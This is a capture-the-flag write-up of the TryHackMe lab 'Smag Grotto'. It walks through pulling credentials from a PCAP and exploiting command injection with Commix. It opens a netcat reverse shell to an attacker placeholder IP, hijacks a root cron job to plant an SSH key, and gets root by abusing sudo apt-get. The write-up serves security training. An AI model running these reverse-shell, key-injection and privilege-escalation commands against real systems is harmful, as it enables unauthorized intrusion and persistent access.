Smag Grotto is an easy-difficulty TryHackMe room that teaches multiple attack techniques in a realistic scenario. The attack chain involves analyzing a PCAP file to extract credentials, exploiting command injection, abusing a misconfigured cron job to inject SSH keys, and escalating privileges using sudo apt-get.
Key Techniques:
apt-get privilege escalationnmap -sC -sV -oA nmap/smag <TARGET_IP>
Results:
Discovered open port 22/tcp on <TARGET_IP>
Discovered open port 80/tcp on <TARGET_IP>
Standard attack surface with SSH and HTTP.
I discovered an interesting directory through fuzzing:
http://<TARGET_IP>/mail/

The page contained internal communications between employees. I extracted several email addresses:
netadmin@smag.thm
uzi@smag.thm
jake@smag.thm
jake@smag.com
Inspecting the page source revealed an additional email hidden in comments:
<a>Bcc: trodd@smag.thm</a>
Tip: Always check page source for hidden information. Developers sometimes leave debug information or commented-out content.
On the mail page, I found a downloadable .pcap file—a network capture file that can be analyzed with Wireshark.
Opening the PCAP in Wireshark and following HTTP streams revealed a login request:

POST /login.php HTTP/1.1
Host: development.smag.thm
User-Agent: curl/7.47.0
Content-Type: application/x-www-form-urlencoded
username=helpdesk&password=cH4nG3M3_n0w
Critical findings:
development.smag.thmhelpdesk:cH4nG3M3_n0wBefore using these credentials, I needed to add the virtual host to /etc/hosts:
echo "<TARGET_IP> smag.thm development.smag.thm" | sudo tee -a /etc/hosts
Navigating to http://development.smag.thm and logging in with the extracted credentials granted access to a command panel:

This panel appeared to execute system commands—a potential command injection vulnerability.
I captured the request in Burp Suite:
POST /admin.php HTTP/1.1
Host: development.smag.thm
Cookie: PHPSESSID=06cb7rrdhjtejr7i4gk65hj9j6
command=whoami&submit=
I saved the request to a file and used Commix to automatically test for command injection:
sudo commix -r request.txt --batch
Commix confirmed the vulnerability:
[+] POST parameter 'command' appears to be injectable via (blind) time-based command injection technique.
I spawned an interactive OS shell through Commix:
commix(os_shell) > whoami
www-data
For a more stable shell, I used netcat:

# On attacker
nc -lvnp 4444
# Through command injection
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <ATTACKER_IP> 4444 >/tmp/f

Shell obtained as www-data!
I checked for cron jobs that might be exploitable:
cat /etc/crontab
Critical Finding:
* * * * * root /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
This cron job runs every minute as root and copies a public key backup to Jake's authorized_keys file. Even more interesting:
ls -la /opt/.backups/
-rw-rw-rw- 1 root root 563 Jun 5 2020 jake_id_rsa.pub.backup
The backup file is world-writable!
The attack plan:
ssh-keygen -t rsa
# Saved to /home/cypher/Desktop/THM/smag_grotto/id_rsa
On the target, I overwrote the backup file with my public key:
echo "ssh-rsa AAAA<YOUR_PUBLIC_KEY_HERE> attacker@machine" > /opt/.backups/jake_id_rsa.pub.backup
After waiting a minute for the cron job to execute:
chmod 600 id_rsa
ssh jake@<TARGET_IP> -i id_rsa

Access gained as user jake!
jake@smag:~$ cat user.txt
THM{REDACTED}
jake@smag:~$ sudo -l
User jake may run the following commands on smag:
(ALL : ALL) NOPASSWD: /usr/bin/apt-get
Jake can run apt-get as root without a password!
Consulting GTFOBins, I found a technique to spawn a shell:
sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
How this works:
apt-get update is a legitimate command-o flag sets a configuration optionAPT::Update::Pre-Invoke::=/bin/sh tells apt-get to execute /bin/sh before the updatejake@smag:~$ sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami
root
Root access obtained!
# cat /root/root.txt
THM{REDACTED}
PCAP Files Are Goldmines: Network captures often contain credentials, especially if HTTP (not HTTPS) was used. Always analyze them thoroughly.
Virtual Hosts Matter: The credentials were useless until I discovered and added development.smag.thm to my hosts file.
World-Writable Files + Cron = Dangerous: The combination of a world-writable file and a root cron job reading from it is a classic privilege escalation vector.
GTFOBins for Sudo Abuse: When you find sudo permissions on common binaries, always check GTFOBins for exploitation techniques.
SSH Key Injection: Injecting your public key into authorized_keys is a clean way to maintain access without needing passwords.
Happy Hacking!